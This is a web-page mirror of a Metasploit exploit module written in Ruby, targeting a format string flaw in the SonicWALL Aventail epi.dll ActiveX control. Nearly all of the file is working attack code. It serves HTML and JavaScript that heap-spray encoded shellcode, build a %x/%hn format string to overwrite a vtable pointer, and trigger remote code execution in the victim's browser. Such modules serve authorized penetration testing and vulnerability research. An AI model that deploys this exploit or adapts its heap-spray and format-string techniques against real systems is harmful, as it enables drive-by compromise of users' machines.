CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/browser/aventail_epi_activex.rb
Views: 11783
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = NormalRanking # heap spray and address shifty
8
9
include Msf::Exploit::Remote::HttpServer::HTML
10
11
def initialize(info = {})
12
super(update_info(info,
13
'Name' => 'SonicWALL Aventail epi.dll AuthCredential Format String',
14
'Description' => %q{
15
This module exploits a format string vulnerability within version 10.0.4.x and
16
10.5.1 of the SonicWALL Aventail SSL-VPN Endpoint Interrogator/Installer ActiveX
17
control (epi.dll). By calling the 'AuthCredential' method with a specially
18
crafted Unicode format string, an attacker can cause memory corruption and
19
execute arbitrary code.
20
21
Unfortunately, it does not appear to be possible to indirectly re-use existing
22
stack data for more reliable exploitation. This is due to several particulars
23
about this vulnerability. First, the format string must be a Unicode string,
24
which uses two bytes per character. Second, the buffer is allocated on the
25
stack using the 'alloca' function. As such, each additional format specifier (%x)
26
will add four more bytes to the size allocated. This results in the inability to
27
move the read pointer outside of the buffer.
28
29
Further testing showed that using specifiers that pop more than four bytes does
30
not help. Any number of format specifiers will result in accessing the same value
31
within the buffer.
32
33
NOTE: It may be possible to leverage the vulnerability to leak memory contents.
34
However, that has not been fully investigated at this time.
35
},
36
'License' => MSF_LICENSE,
37
'Author' =>
38
[
39
'Nikolas Sotiriu', # original discovery / poc
40
'jduck' # Metasploit module
41
],
42
'References' =>
43
[
44
[ 'OSVDB', '67286'],
45
[ 'URL', 'http://sotiriu.de/adv/NSOADV-2010-005.txt' ]
46
],
47
'DefaultOptions' =>
48
{
49
'EXITFUNC' => 'process',
50
'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
51
},
52
'Payload' =>
53
{
54
'Space' => 1024,
55
'BadChars' => "\x00",
56
'StackAdjustment' => -3500,
57
},
58
'Platform' => 'win',
59
'Targets' =>
60
[
61
[ 'epi.dll v10.0.4.18 on Windows XP SP3',
62
{
63
# NOTE: Unfortunately, this address varies from execution to execution
64
'Write' => 0x1240000 + 0x501d4 + 2, # smashed high 16-bits of a vtable ptr :)
65
# 0x1d5005c, # crashes on deref+call
66
'Ret' => 0x04040404
67
}
68
]
69
],
70
'DisclosureDate' => '2010-08-19',
71
'DefaultTarget' => 0))
72
end
73
74
def autofilter
75
false
76
end
77
78
def check_dependencies
79
use_zlib
80
end
81
82
def on_request_uri(cli, request)
83
84
clsid = "2A1BE1E7-C550-4D67-A553-7F2D3A39233D"
85
progid = "Aventail.EPInterrogator.10.0.4.018"
86
87
method = "AuthCredential"
88
89
# Re-generate the payload
90
return if ((p = regenerate_payload(cli)) == nil)
91
92
# Encode the shellcode
93
shellcode = Rex::Text.to_unescape(p.encoded, Rex::Arch.endian(target.arch))
94
95
# Setup exploit buffers
96
nops = Rex::Text.to_unescape([target.ret].pack('V'))
97
write = Rex::Text.to_unescape([target['Write']].pack('V'))
98
99
# Setup format string offset
100
printed = 0xb1 - 5
101
ret = (target.ret >> 16) - printed
102
103
# Setup heap spray
104
blocksize = 0x40000
105
fillto = 300
106
107
# Randomize the javascript variable names
108
axobj = "axobj" #rand_text_alpha(rand(100) + 1)
109
j_format = "fmt" # rand_text_alpha(rand(100) + 1)
110
j_counter = "i" # rand_text_alpha(rand(30) + 2)
111
# heap spray vars
112
j_shellcode = rand_text_alpha(rand(100) + 1)
113
j_nops = rand_text_alpha(rand(100) + 1)
114
j_ret = rand_text_alpha(rand(100) + 1)
115
j_headersize = rand_text_alpha(rand(100) + 1)
116
j_slackspace = rand_text_alpha(rand(100) + 1)
117
j_fillblock = rand_text_alpha(rand(100) + 1)
118
j_block = rand_text_alpha(rand(100) + 1)
119
j_memory = rand_text_alpha(rand(100) + 1)
120
121
# NOTE: the second assignment triggers the shellcode
122
content = %Q|<html>
123
<object classid='clsid:#{clsid}' id='#{axobj}'></object>
124
<script>
125
#{j_shellcode}=unescape('#{shellcode}');
126
#{j_nops}=unescape('#{nops}');
127
#{j_headersize}=20;
128
#{j_slackspace}=#{j_headersize}+#{j_shellcode}.length;
129
while(#{j_nops}.length<#{j_slackspace})#{j_nops}+=#{j_nops};
130
#{j_fillblock}=#{j_nops}.substring(0,#{j_slackspace});
131
#{j_block}=#{j_nops}.substring(0,#{j_nops}.length-#{j_slackspace});
132
while(#{j_block}.length+#{j_slackspace}<#{blocksize})#{j_block}=#{j_block}+#{j_block}+#{j_fillblock};
133
#{j_memory}=new Array();
134
for(#{j_counter}=0;#{j_counter}<#{fillto};#{j_counter}++)#{j_memory}[#{j_counter}]=#{j_block}+#{j_shellcode};
135
136
#{j_format} = unescape("#{write}");
137
#{j_format} += '%#{ret}x';
138
for (#{j_counter} = 0; #{j_counter} < 22; #{j_counter}++)
139
#{j_format} += '%x';
140
#{j_format} += '%hn';
141
142
#{axobj}.#{method} = #{j_format};
143
#{axobj}.#{method} = #{j_format};
144
</script>
145
</html>|
146
147
print_status("Sending #{self.name}")
148
149
# Transmit the response to the client
150
send_response_html(cli, content)
151
152
# Handle the payload
153
handler(cli)
154
end
155
end
156
157